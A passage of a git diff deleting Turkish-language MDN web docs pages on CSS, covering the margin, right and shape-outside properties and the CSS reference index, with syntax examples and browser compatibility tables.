bakmanın zamanı geldi. Burada CSS düzenine derinlemesine dalabilmemiz, farklı görüntü ayarlarına, flexbox, CSS ızgarası ve konumlandırma gibi modern düzen araçlarına ve hala bilmek isteyebileceğiniz bazı eski teknikleri kullanabilmemiz için gerekli ön koşulları ele alacağız.</dd> - <dt><a href="/tr/docs/Learn/CSS/Howto">Yaygın sorunları çözmek için CSS kullanın</a></dt> - <dd>Bu adım, bir websayfası oluştururken yaygın sorunları çözmek için CSS'si nasıl kullanılacağını açıklayan içerik bölümlerine bağlantılar sağlar.</dd> -</dl> -</div> - -<div class="section"> -<h2 class="Tools" id="Kaynaklar">Kaynaklar</h2> - -<ul> - <li><a href="/tr/docs/Web/CSS/Reference">CSS kaynağı</a>: Deneyimli Web geliştiricileri için, CSS'sin her özelliğini ve konseptini açıklayan kapsamlı bir kaynak.</li> - <li>CSS temel kavramları: - <ul> - <li><a href="/tr/docs/Web/CSS/Syntax">Dilin sözdizimi ve biçimleri</a></li> - <li><a href="/tr/docs/Web/CSS/Specificity">Özgüllük</a>, <a href="/tr/docs/Web/CSS/Inheritance">kalıtım</a> ve <a href="/tr/docs/Web/CSS/Cascade">Cascade</a></li> - <li><a href="/tr/docs/Web/CSS/CSS_Values_and_Units">CSS birim ve değerleri</a></li> - <li><a href="/tr/docs/Web/CSS/box_model">Kutu modelelri</a> ve <a href="/tr/docs/Web/CSS/margin_collapsing">Kenar boşluğu</a></li> - <li>The <a href="/tr/docs/Web/CSS/All_About_The_Containing_Block">containing blok kapsamları</a></li> - <li><a href="/tr/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context" title="The stacking context">Yığınlar</a> ve <a href="/tr/docs/Web/CSS/block_formatting_context" title="block formatting context">blok biçimlendirme</a> bağlamları</li> - <li><a href="/tr/docs/Web/CSS/initial_value">İlklendirilen</a>, <a href="/tr/docs/Web/CSS/computed_value">hesaplanan</a>, <a href="/tr/docs/Web/CSS/used_value">kullanılan</a>, ve <a href="/tr/docs/Web/CSS/actual_value">gerçek</a> değeler</li> - <li><a href="/tr/docs/Web/CSS/Shorthand_properties">CSS kısaltma özellikleri</a></li> - <li><a href="/tr/docs/Web/CSS/CSS_Flexible_Box_Layout">CSS Flexible Box özellikleri</a></li> - <li><a href="/tr/docs/Web/CSS/CSS_Grid_Layout">CSS Grid özellikleri</a></li> - <li><a href="/tr/docs/Web/CSS/Media_Queries">Medya sorguları</a></li> - <li><a href="/tr/docs/Web/CSS/animation">Animasyon</a></li> - </ul> - </li> -</ul> - -<h2 class="Tools" id="Tarifler_kitabı">Tarifler kitabı</h2> - -<p><a href="/tr/docs/Web/CSS/Layout_cookbook">CSS düzen tarifleri kitabı</a> sitelerinize uygulamanız gerekebilecek ortak düzen kalıpları için tarifleri bir araya getirmeyi amaçlamaktadır. Projelerinizde başlangıç noktası olarak kullanabileceğiniz kod sağlamanın yına sıra, bu tarifler yerleşim özelliklerinin kullanılabileceği farklı yolları ve bir geliştirici olarak uygulayabileceğiniz seçimleri irdeler.</p> - -<h2 class="Tools" id="CSS_geliştirme_araçları">CSS geliştirme araçları</h2> - -<ul> - <li>CSS'sinizin gerçeli olup olmadığını kontrol etmek için <a class="external" href="https://jigsaw.w3.org/css-validator/">W3C CSS Validation Service</a>'si kullanabilirsiniz. Bu, paha biçilemez bir hata ayıklama aracıdır.</li> - <li><a href="/tr/docs/Tools">Firefox Developer Tools</a>, <a href="/tr/docs/Tools/Page_Inspector">Denetçi</a> ve <a href="/tr/docs/Tools/Style_Editor">Stil Düzenleyici</a> araçlarıyla bir sayfanın canlı CSS'sini görüntülemenizi ve düzenlemenizi sağlar.</li> - <li>Firefox için <a class="link-https" href="https://addons.mozilla.org/tr/firefox/addon/web-developer/">Web Developer uzantısı</a>, izlenen sitelerde canlı CSS'si izlemenizi ve düzenlemenizi sağlar</li> - <li>Web topluluğu, kullanmanız için başka çeşitli <a href="/tr/docs/Web/CSS/Tools">CSS araçlarını</a>'da oluşturdu.</li> -</ul> - -<h2 id="Meta_bugs">Meta bugs</h2> - -<ul> - <li>Firefox: {{bug(1323667)}}</li> -</ul> -</div> -</div> -</section> - -<h2 id="Ayrıca_Bakınız">Ayrıca Bakınız</h2> - -<ul> - <li><a href="/tr/docs/Web/Demos_of_open_web_technologies#CSS">CSS demoları</a>: En yeni CSS teknolojileri ile oluşturulmuş örnekleri keşfederek kendinize destek elde edin</li> - <li>CSS'nin sıklıkla uygulandığı web dilleri: <a href="/tr/docs/Web/HTML">HTML</a>, <a href="/tr/docs/Web/SVG">SVG</a>, <a href="/tr/docs/Web/MathML">MathML</a>, {{Glossary("XHTML")}}, and <a href="/tr/docs/XML_introduction">XML</a>.</li> - <li>CSS'den kapsamlı bir şekilde yararlanan Mozilla teknolojileri: <a href="/tr/docs/Mozilla/Firefox">Firefox</a>, ve <a href="/tr/docs/Mozilla/Thunderbird">Thunderbird</a> <a href="/tr/docs/Mozilla/Add-ons">euzantıları</a> ve <a href="/tr/docs/Mozilla/Add-ons/Themes">temaları</a>.</li> - <li><a href="https://lists.mozilla.org/listinfo/dev-tech-layout">Mozilla e-posta listesi</a></li> - <li><a href="https://stackoverflow.com/questions/tagged/css">CSS hakkındaki Stack Overflow soruları</a></li> -</ul> diff --git a/files/tr/web/css/margin/index.html b/files/tr/web/css/margin/index.html deleted file mode 100644 index e226907d8a..0000000000 --- a/files/tr/web/css/margin/index.html +++ /dev/null @@ -1,225 +0,0 @@ ---- -title: marjin -slug: Web/CSS/margin -tags: - - CSS - - CSS özelliği - - Referans -translation_of: Web/CSS/margin -translation_of_original: Web/CSS/margin-new -original_slug: Web/CSS/marjin ---- -<div>{{CSSRef}}</div> - -<h2 id="Özet">Özet</h2> - -<p> </p> - -<p><strong><code>Marjin</code></strong> CSS özelliği her dört kenarın kenar boşluğunu düzenler. Kısayol olarak diğer marjin özellikleri ile tek tek düzenlemenin önüne geçilir : {{ Cssxref("margin-top") }}, {{ Cssxref("margin-right") }}, {{ Cssxref("margin-bottom") }} ve {{ Cssxref("margin-left") }}.</p> - -<p>Eksi değerlere müsade edilir.</p> - -<p>{{cssinfo}}</p> - -<h2 id="Sözdizimi">Sözdizimi</h2> - -<pre class="brush:css">/* Her dört kenara uygulanır */ -margin: 1em; - -/* dikey | yatay */ -margin: 5% auto; - -/* üst | yatay | alt */ -margin: 1em auto 2em; - -/* üst | sağ | alt | sol */ -margin: 2px 1em 0 auto; - -/* Genel değerler */ -margin: inherit; -margin: initial; -margin: unset; -</pre> - -<h3 id="Değer_Atamaları">Değer Atamaları</h3> - -<p>Aşağıdaki gibi bir, iki, üç yada dörtlü değer atama:</p> - -<dl> - <dt><code><length></code></dt> - <dd>Sabit değerleri ifade eder. Eksi değer alabilir. Örnek ölçü birimleri için bakınız {{cssxref("<length>")}} .</dd> - <dt><code><percentage></code></dt> - <dd>{{cssxref("<percentage>")}} içinde bulunduğu bloğun <strong>width</strong> özelliğine orantılıdır. Eksi değerlere müsade edilir.</dd> - <dt><code>auto</code></dt> - <dd><code>auto kullanıldığında değerleri otomatik atanır. Blok elementleri merkeze konumlandırmada kullanılır.</code><br> - <code>div { width:50%; margin:0 auto; }</code> div bloğunu yatay olarak merkeze konumlandırır.</dd> -</dl> - -<ul> - <li><strong>Tek</strong> bir değer <strong>tüm dört kenara uygulanır</strong>.</li> - <li><strong>İki</strong> değerin ilki <strong>üst ve alt kenara</strong> ikincisi <strong>sağ ve sol kenara uygulanır</strong>.</li> - <li><strong>Üç </strong> değerin ilki <strong>üst </strong>kenara ikincisi <strong>sağ</strong> ve <strong>sol</strong> kenara üçüncüsü <strong>alt</strong> kenara uygulanır.</li> - <li><strong>Dört değer</strong> <strong>üst, sağ, alt </strong>ve<strong> sol kenarlara</strong> sırasıyla (saat yönünde) uygulanır.</li> -</ul> - -<h3 id="Formel_sözdizimi">Formel sözdizimi</h3> - -{{csssyntax}} - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="Basit_bir_örnek">Basit bir örnek</h3> - -<h4 id="HTML">HTML</h4> - -<pre class="brush: html"><div class="ex1"> - margin: auto; - background: gold; - width: 66%; -</div> -<div class="ex2"> - margin: 20px 0 0 -20px; - background: gold; - width: 66%; -</div></pre> - -<h4 id="CSS">CSS</h4> - -<pre class="brush: css; highlight:[2,7]">.ex1 { - margin: auto; - background: gold; - width: 66%; -} -.ex2 { - margin: 20px 0px 0 -20px; - background: gold; - width: 66%; -}</pre> - -<p>{{ EmbedLiveSample('Simple_example') }}</p> - -<h3 id="başka_bir_örnek_daha">başka bir örnek daha</h3> - -<pre class="brush: css">margin: 5%; /* tüm kenarlar 5% marjinli */ - -margin: 10px; /* tüm kenarlar 10px marjinli */ - -margin: 1.6em 20px; /* üst ve alt 1.6em, sağ ve sol 20px marjinli */ - -margin: 10px 3% 1em; /* üst 10px, sağ ve sol 3%, alt 1em marjinli */ - -margin: 10px 3px 30px 5px; /* üst 10px, sağ 3px, alt 30px, sol 5px marjinli */ - -margin: 1em auto; /* 1em marjin üst ve altta, çerçeve yatay olarak merkezde */ - -margin: auto; /* çerçeve yatay olarak merkezde üst ve alt marjin 0 */ -</pre> - -<h2 id="Yatay_olarak_merkeze_konumlama_margin_0_auto">Yatay olarak merkeze konumlama <code>margin: 0 auto;</code></h2> - -<p>Modern tarayıcılarda yatay merkez konumlandırma için <code><a href="/en-US/docs/Web/CSS/display">display</a>: flex; <a href="/en-US/docs/Web/CSS/justify-content">justify-content</a>: center;</code> kullanınız.</p> - -<p>Bununla birlikte, eski tarayıcılarda IE8-9 gibi, bu tanımlama kullanılamaz. Yatay merkez konumlama için elementi kapsayan elemente marg<code>in: 0 auto; kullanınız.</code></p> - -<h2 id="Spesifikasyonlar">Spesifikasyonlar</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{ SpecName('CSS3 Box', '#margin', 'margin') }}</td> - <td>{{ Spec2('CSS3 Box') }}</td> - <td>Belirgin değişiklik yok</td> - </tr> - <tr> - <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'margin') }}</td> - <td>{{ Spec2('CSS3 Transitions') }}</td> - <td>"margin" transitions ta animasyon özellikiği kullanılabilir</td> - </tr> - <tr> - <td>{{ SpecName('CSS2.1', 'box.html#margin-properties', 'margin') }}</td> - <td>{{ Spec2('CSS2.1') }}</td> - <td>Inline elementeki efekleri kaldırıldı</td> - </tr> - <tr> - <td>{{ SpecName('CSS1', '#margin', 'margin') }}</td> - <td>{{ Spec2('CSS1') }}</td> - <td>başlangic değeri atandı</td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Edge</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>Basic support</td> - <td>1.0</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{ CompatGeckoDesktop("1") }}</td> - <td>3.0</td> - <td>3.5</td> - <td>1.0 (85)</td> - </tr> - <tr> - <td><code>auto</code> value</td> - <td>1.0</td> - <td>{{CompatUnknown}}</td> - <td>{{ CompatGeckoDesktop("1") }}</td> - <td>6.0 (strict mode)</td> - <td>3.5</td> - <td>1.0 (85)</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Edge</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>1.0</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{ CompatGeckoMobile("1") }}</td> - <td>6.0</td> - <td>6.0</td> - <td>1.0</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> - -<ul> - <li><a class="internal" href="/en/CSS/margin_collapsing" title="en/CSS/margin collapsing">Marjin çakışması</a></li> -</ul> diff --git a/files/tr/web/css/reference/index.html b/files/tr/web/css/reference/index.html deleted file mode 100644 index 4d415d65a6..0000000000 --- a/files/tr/web/css/reference/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: CSS Referansı -slug: Web/CSS/Reference -tags: - - CSS - - CSS Referans -translation_of: Web/CSS/Reference ---- -<p><span class="seoSummary">Bu<em> CSS Referansı, </em>bütün standart <a href="/tr/docs/Web/CSS">CSS</a> özelliklerini, pseudo sınıflarını, pseudo elementlerini, @-kurallarını, birimleri* ve seçicileri alfabetik olarak sıralar. Bunların her biri için hızlı ve detaylı bilgiye ulaşabilirsiniz. Sadece CSS1 ve CSS2 özellikleri değil, aynı zamanda konsept standartlı veya stabil her <a href="/tr/docs/Web/CSS/CSS3">CSS3</a> ile bağlantılı özellik için de bir referans niteliğindedir.</span></p> - -<p>Ayrıca <code>-moz</code><a href="/en-US/docs/Web/CSS/Reference/Mozilla_Extensions"> </a>prefix'i aracılığıyla Gecko-spesifik olarak tanımlanan<a href="/en-US/docs/Web/CSS/Reference/Mozilla_Extensions"> Mozilla CSS Eklentileri</a> sayfasını ziyaret edebilir veya dilerseniz Webkit-spesifik olarak tanımlanan <a href="/en-US/docs/Web/CSS/CSS_Reference/Webkit_Extensions">WebKit CSS Eklentileri</a> sayfasını ziyaret edebilirsiniz. Tüm prefixed özellikleri incelemek için <a href="http://peter.sh/experiments/vendor-prefixed-css-property-overview/">Vendor-prefixed CSS Property Overview</a> ismi ile Peter Beverloo tarafından hazırlanan sayfayı ziyaret edebilirsiniz.</p> - -<div>{{CSS_Ref}}</div> - -<h2 id="Seçiciler">Seçiciler</h2> - -<ul> - <li>Temel Seçiciler - <ul> - <li><a href="/en-US/docs/Web/CSS/Type_selectors">Tip seçicileri</a> <code>elementname</code></li> - <li><a href="/en-US/docs/Web/CSS/Class_selectors">Sınıf seçicileri</a> <code>.classname</code></li> - <li><a href="/en-US/docs/Web/CSS/ID_selectors">ID seçiciler</a> <code>#idname</code></li> - <li><a href="/en-US/docs/Web/CSS/Universal_selectors">Evrensel seçiciler</a><code> * ns|* *|*</code></li> - <li><a href="/en-US/docs/Web/CSS/Attribute_selectors">Özellik seçicileri</a><code> [attr=value]</code></li> - </ul> - </li> - <li>Combinators - <ul> - <li><a href="/en-US/docs/Web/CSS/Adjacent_sibling_selectors">Bitişik kardeş(komşu) seçiciler</a> <code>A + B</code></li> - <li><a href="/en-US/docs/Web/CSS/General_sibling_selectors">Ardışık kardeş(komşu) seçiciler</a> <code>A ~ B</code></li> - <li><a href="/en-US/docs/Web/CSS/Child_selectors">Bir alt seviye seçiciler</a> <code>A > B</code></li> - <li><a href="/en-US/docs/Web/CSS/Descendant_selectors">Sıra bağımsız seçiciler</a> <code>A B</code></li> - </ul> - </li> - <li><a href="/en-US/docs/Web/CSS/Pseudo-elements">Pseudo-elementleri</a></li> - <li><a href="/en-US/docs/Web/CSS/Pseudo-classes">Pseudo-sınıfları</a></li> -</ul> - -<p>CSS3 özelleştirmeleri için <a href="http://www.w3.org/TR/selectors/#selectors">tüm seçicilerin listesi</a>.</p> - -<h2 id="CSS3_Kullanımı">CSS3 Kullanımı</h2> - -<p>Küçük boyutlu sayfalar oluşturmak için yeni bir teknoloji ortaya çıktı CSS3, ancak yakın zamana kadar düşük destekli olan CCS2.1 kullanılıyordu.</p> - -<ul> - <li><a href="/tr/docs/">CSS Medya sorgularını kullanımı</a></li> - <li><a href="/en-US/docs/Web/Guide/CSS/Counters">CSS Sayaçları kullanımı</a></li> - <li><a href="/en-US/docs/Web/Guide/CSS/Using_CSS_gradients">CSS gradyanların kullanımı</a></li> - <li><a href="/en-US/docs/Web/Guide/CSS/Using_CSS_transforms">CSS Dönüşümleri kullanımı</a></li> - <li><a href="/en-US/docs/Web/Guide/CSS/Using_CSS_animations">CSS Animasyonları kullanımı</a></li> - <li><a href="/en-US/docs/Web/Guide/CSS/Using_CSS_transitions">CSS Geçişleri kullanma</a></li> - <li><a href="/en-US/docs/Web/Guide/CSS/Using_multiple_backgrounds">CSS Çoklu Arkaplan kullanımı</a></li> - <li><a href="/en-US/docs/Web/Guide/CSS/Flexible_boxes">CSS Esnek-kutu kullanımı</a></li> - <li><a href="/en-US/docs/Web/Guide/CSS/Using_multi-column_layouts" title="/en-US/docs/Web/Guide/CSS/Using_multi-column_layouts">CSS Çok sütunlu düzenlerde kullanma</a></li> -</ul> - -<h2 id="Kavramlar">Kavramlar</h2> - -<ul> - <li><a href="/en-US/docs/Web/CSS/Syntax">CSS syntax</a></li> - <li><a href="/en-US/docs/Web/CSS/At-rule">At-rule</a></li> - <li><a href="/en-US/docs/Web/CSS/Comments">Comments</a></li> - <li><a href="/en-US/docs/Web/CSS/Specificity">Specificity</a></li> - <li><a href="/en-US/docs/Web/CSS/initial_value">Initial value</a></li> - <li><a href="/en-US/docs/Web/CSS/inheritance">Inheritance</a></li> - <li><a href="/en-US/docs/Web/CSS/specified_value">Specified value</a></li> - <li><a href="/en-US/docs/Web/CSS/computed_value">Computed value</a></li> - <li><a href="/en-US/docs/Web/CSS/used_value">Used value</a></li> - <li><a href="/en-US/docs/Web/CSS/actual_value">Actual value</a></li> - <li><a href="/en-US/docs/Web/CSS/box_model">Box model</a></li> - <li><a href="/en-US/docs/Web/CSS/Replaced_element">Replaced element</a></li> - <li><a href="/en-US/docs/Web/CSS/Value_definition_syntax">Value definition syntax</a></li> -</ul> diff --git a/files/tr/web/css/right/index.html b/files/tr/web/css/right/index.html deleted file mode 100644 index 3c5c003132..0000000000 --- a/files/tr/web/css/right/index.html +++ /dev/null @@ -1,157 +0,0 @@ ---- -title: right -slug: Web/CSS/right -translation_of: Web/CSS/right ---- -<div>{{CSSRef}}</div> - -<h2 id="Summary" name="Summary">Özet</h2> - -<p>Bu CSS değeri pozisyonlanan elemanların yerleştirilmesinde rol alır.</p> - -<p>{{Cssxref("position")}}<code>:</code> <code>absolute</code> or <code>position:</code> <code>fixed</code> olarak yerleştirilmiş elemanların sağ marjin kenarı ile bu elemanı barındıran elemanın sağ kenarı arasındaki mesafeyi belirler.</p> - -<p><code>right</code> değerinin pozisyonlanmamış elemanlar üzerinde etkisi yoktur.</p> - -<p>Hem <code>right</code> hem de {{cssxref("left")}} değerleri tanımlanmış ise, elemanın pozisyonu gereğinden daha detaylı tanımlanmış olarak kabul edilir. Bu durumda, barındıran elemanın metin yerleşimi soldan sağa ise {{cssxref("left")}} değeri, sağdan sola ise <code>right</code> değeri geçerli kabul edilir. Soldan sağa yerleşimlerde <code>right</code> değeri <code>-left</code>, sağdan sola yerleşimlerde <code>left</code> değeri -<code>right</code> olarak tekrar hesaplanır.</p> - -<p>{{cssinfo}}</p> - -<h2 id="Syntax" name="Syntax">Yazım</h2> - -<pre class="twopartsyntaxbox"><a href="/en-US/docs/CSS/Value_definition_syntax" title="CSS/Value_definition_syntax">Formal syntax</a>: {{csssyntax("right")}} -</pre> - -<pre>right: 3px /* <uzunluk> değeri */ -right: 2.4em - -right: 10% /* barındıran bloğun yüzdesi olarak */ - -right: auto - -right: inherit -</pre> - -<h3 id="Values" name="Values">Değerler</h3> - -<dl> - <dt><code><uzunluk></code></dt> - <dd>Negatif, null veya pozitif {{cssxref("<length>")}} değerdir. - <ul> - <li>Kesin yerleştirilen elemanlar için barındıran bloğun sağ kenarına olan mesafeyi belirler;</li> - <li>Göreceli yerleştirilen elemanlar için, elemanın normal akış içerisinde yerleşim değeri uygulanmazken bulunacağı pozisyondan sağa doğru öteleneceği mesafeyi belirler.</li> - </ul> - </dd> - <dt><code><yüzde></code></dt> - <dd>Uzunluk değerinin barındıran bloğun yüzdesi olarak ifadesidir. {{cssxref("<percentage>")}}. </dd> - <dt><code>auto</code></dt> - <dd>Is a keyword that represents: - <ul> - <li>for absolutely positioned elements, the position the element based on the {{Cssxref("left")}} property and treat <code>width: auto</code> as a width based on the content.</li> - <li>for relatively positioned elements, the right offset the element from its original position based on the {{Cssxref("left")}} property, or if <code>left</code> is also <code>auto</code>, do not offset it at all.</li> - </ul> - </dd> - <dt><code>inherit</code></dt> - <dd>Is a keyword indicating that the value is the same than the computed value from its parent element (which may not be its containing block). This computed value is then handled like it was a {{cssxref("<length>")}}, {{cssxref("<percentage>")}} or the <code>auto</code> keyword.</dd> -</dl> - -<h2 id="Examples" name="Examples">Examples</h2> - - -<pre class="brush: css; highlight:[16]">#example_3 { - width: 600px; - height: 400px; - background-color: #FFC7E4; - position: relative; - top: 20px; - left: 20px; -} - -#example_4 { - width:200px; - height:200px; - background-color: #FFD7C2; - position:absolute; - bottom:10px; - right: 20px; -}</pre> - -<pre class="brush: html"> <div id="example_3">Example 3</div> - <div id="example_4">Example 4</div> -</pre> - -<p>{{LiveSampleLink('Examples', 'Example Demo Link')}}</p> - -<h2 id="Specifications" name="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'right')}}</td> - <td>{{Spec2('CSS3 Transitions')}}</td> - <td>Defines <code>right</code> as animatable.</td> - </tr> - <tr> - <td>{{SpecName('CSS2.1', 'visuren.html#propdef-right', 'right')}}</td> - <td>{{Spec2('CSS2.1')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2> - -<div>{{CompatibilityTable}}</div> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>1.0</td> - <td>{{CompatGeckoDesktop("1")}}</td> - <td>5.5</td> - <td>5.0</td> - <td>1.0</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>1.0</td> - <td>{{CompatGeckoMobile("1")}}</td> - <td>6.0</td> - <td>6.0</td> - <td>1.0</td> - </tr> - </tbody> -</table> -</div> diff --git a/files/tr/web/css/shape-outside/index.html b/files/tr/web/css/shape-outside/index.html deleted file mode 100644 index 4a05560e8a..0000000000 --- a/files/tr/web/css/shape-outside/index.html +++ /dev/null @@ -1,208 +0,0 @@ ---- -title: shape-outside -slug: Web/CSS/shape-outside -tags: - - Boundaries - - CSS - - CSS Property - - CSS Shapes - - Float Area - - Property - - Reference - - Shape - - margin - - 'recipe:css-property' - - shape-outside - - wrapping -translation_of: Web/CSS/shape-outside ---- -<div>{{CSSRef}}</div> - -<p><span class="seoSummary">The <strong><code>shape-outside</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> property defines a shape—which may be non-rectangular—around which adjacent inline content should wrap.</span> By default, inline content wraps around its margin box; <code>shape-outside</code> provides a way to customize this wrapping, making it possible to wrap text around complex objects rather than simple boxes.</p> - -<div>{{EmbedInteractiveExample("pages/css/shape-outside.html")}}</div> - - - -<h2 id="Syntax">Syntax</h2> - -<pre class="brush:css no-line-numbers notranslate">/* Keyword values */ -shape-outside: none; -shape-outside: margin-box; -shape-outside: content-box; -shape-outside: border-box; -shape-outside: padding-box; - -/* Function values */ -shape-outside: circle(); -shape-outside: ellipse(); -shape-outside: inset(10px 10px 10px 10px); -shape-outside: polygon(10px 10px, 20px 20px, 30px 30px); -shape-outside: path('M0.5,1 C0.5,1,0,0.7,0,0.3 A0.25,0.25,1,1,1,0.5,0.3 A0.25,0.25,1,1,1,1,0.3 C1,0.7,0.5,1,0.5,1 Z'); - -/* <url> value */ -shape-outside: url(image.png); - -/* <gradient> value */ -shape-outside: linear-gradient(45deg, rgba(255, 255, 255, 0) 150px, red 150px); - -/* Global values */ -shape-outside: initial; -shape-outside: inherit; -shape-outside: unset; -</pre> - -<p>The <code>shape-outside</code> property is specified using the values from the list below, which define the <em>float area</em> for <em>float elements</em>. The float area determines the shape around which inline content (float elements) wrap.</p> - -<h3 id="Values">Values</h3> - -<dl> - <dt><code>none</code></dt> - <dd>The float area is unaffected. Inline content wraps around the element's margin box, like usual.</dd> - <dt><code><shape-box></code></dt> - <dd>The float area is computed according to the shape of a float element's edges (as defined by the <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/box_model">CSS box model</a>). This can be <code>margin-box</code>, <code>border-box</code>, <code>padding-box</code>, or <code>content-box</code>. The shape includes any curvature created by the {{cssxref("border-radius")}} property (behavior which is similar to {{cssxref("background-clip")}}).</dd> - <dd> - <dl> - <dt><code>margin-box</code></dt> - <dd><span style="line-height: 1.5;">Defines the shape enclosed by the outside margin edge. The corner radii of this shape are determined by the corresponding {{cssxref("border-radius")}} and {{cssxref("margin")}} values. If the <code>border-radius / margin</code> </span>ratio is <code>1</code> or more, then the margin box corner radius is <code>border-radius + margin</code>. If the ratio is less than <code>1</code>, then the margin box corner radius is <code>border-radius + (margin * (1 + (ratio-1)^3))</code>.</dd> - <dt><code>border-box</code></dt> - <dd> - <p>Defines the shape enclosed by the outside border edge. The shape follows the normal border radius shaping rules for the outside of the border.</p> - </dd> - <dt><code>padding-box</code></dt> - <dd> - <p>Defines the shape enclosed by the outside padding edge. The shape follows the normal border radius shaping rules for the inside of the border.</p> - </dd> - <dt><code>content-box</code></dt> - <dd> - <p>Defines the shape enclosed by the outside content edge. Each corner radius of this box is the larger of <code>0</code> or <code>border-radius - border-width - padding</code>.</p> - </dd> - </dl> - </dd> - <dt>{{cssxref("<basic-shape>")}}</dt> - <dd>The float area is computed based on the shape created by of one of <code><a href="/en-US/docs/Web/CSS/basic-shape#inset()">inset()</a></code>, <code><a href="/en-US/docs/Web/CSS/basic-shape#circle()">circle()</a></code>, <code><a href="/en-US/docs/Web/CSS/basic-shape#ellipse()">ellipse()</a></code>, <code><a href="/en-US/docs/Web/CSS/basic-shape#polygon()">polygon()</a></code>, or as added in the level 2 specification <code>path()</code>. If a <code><shape-box></code> is also supplied, it defines the reference box for the <code><basic-shape></code> function. Otherwise, the reference box defaults to <code>margin-box</code>.</dd> - <dt>{{cssxref("<image>")}}</dt> - <dd>The float area is extracted and computed based on the alpha channel of the specified {{cssxref("<image>")}} as defined by {{cssxref("shape-image-threshold")}}.</dd> - <dd> - <div class="note"><strong>Note:</strong> {{glossary("User agent", "User agents")}} must use the potentially CORS-enabled fetch method defined by the HTML5 specification for all URLs in a <code>shape-outside</code> value. When fetching, user agents must use "Anonymous" mode, set the referrer source to the stylesheet's URL, and set the origin to the URL of the containing document. If this results in network errors such that there is no valid fallback image, the effect is as if the value <code><strong>none</strong></code> had been specified.</div> - </dd> -</dl> - -<h2 id="Interpolation">Interpolation</h2> - -<p>When animating between one <code><basic-shape></code> and a second, the rules below are applied. The values in the shape functions interpolate as a simple list. The list values interpolate as {{cssxref("<length>")}}, {{cssxref("<percentage>")}}, or {{cssxref("calc")}} where possible. If list values are not one of those types but are identical (such as finding <code>nonzero</code> in the same list position in both lists), those values do interpolate.</p> - -<ul> - <li>Both shapes must use the same reference box.</li> - <li>If both shapes are the same type, that type is <code>ellipse()</code> or <code>circle()</code>, and none of the radii use the <code>closest-side</code> or <code>farthest-side</code> keywords, interpolate between each value in the shape functions.</li> - <li>If both shapes are of type <code>inset()</code>, interpolate between each value in the shape functions.</li> - <li>If both shapes are of type <code>polygon()</code>, both polygons have the same number of vertices, and use the same <code><fill-rule></code>, interpolate between each value in the shape functions.</li> - <li>In all other cases no interpolation occurs.</li> -</ul> - -<h2 id="Formal_definition">Formal definition</h2> - -<p>{{CSSInfo}}</p> - -<h2 id="Formal_syntax">Formal syntax</h2> - -{{csssyntax}} - -<h2 id="Examples">Examples</h2> - -<h3 id="Funneling_text">Funneling text</h3> - -<h4 id="HTML">HTML</h4> - -<pre class="brush: html notranslate"><div class="main"> - <div class="left"></div> - <div class="right"></div> - <p> - Sometimes a web page's text content appears to be - funneling your attention towards a spot on the page - to drive you to follow a particular link. Sometimes - you don't notice. - </p> -</div></pre> - -<h4 id="CSS">CSS</h4> - -<pre class="brush: css; highlight[13,14,21,22] notranslate">.main { - width: 530px; -} - -.left, -.right { - width: 40%; - height: 12ex; - background-color: lightgray; -} - -.left { - -webkit-shape-outside: polygon(0 0, 100% 100%, 0 100%); - shape-outside: polygon(0 0, 100% 100%, 0 100%); - float: left; - -webkit-clip-path: polygon(0 0, 100% 100%, 0 100%); - clip-path: polygon(0 0, 100% 100%, 0 100%); -} - -.right { - -webkit-shape-outside: polygon(100% 0, 100% 100%, 0 100%); - shape-outside: polygon(100% 0, 100% 100%, 0 100%); - float: right; - -webkit-clip-path: polygon(100% 0, 100% 100%, 0 100%); - clip-path: polygon(100% 0, 100% 100%, 0 100%); -} - -p { - text-align: center; -}</pre> - -<h4 id="Result">Result</h4> - -<p>{{EmbedLiveSample("Funneling_text", "100%", 130)}}</p> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('CSS Shapes', '#shape-outside-property', 'shape-outside')}}</td> - <td>{{Spec2('CSS Shapes')}}</td> - <td>Initial definition.</td> - </tr> - <tr> - 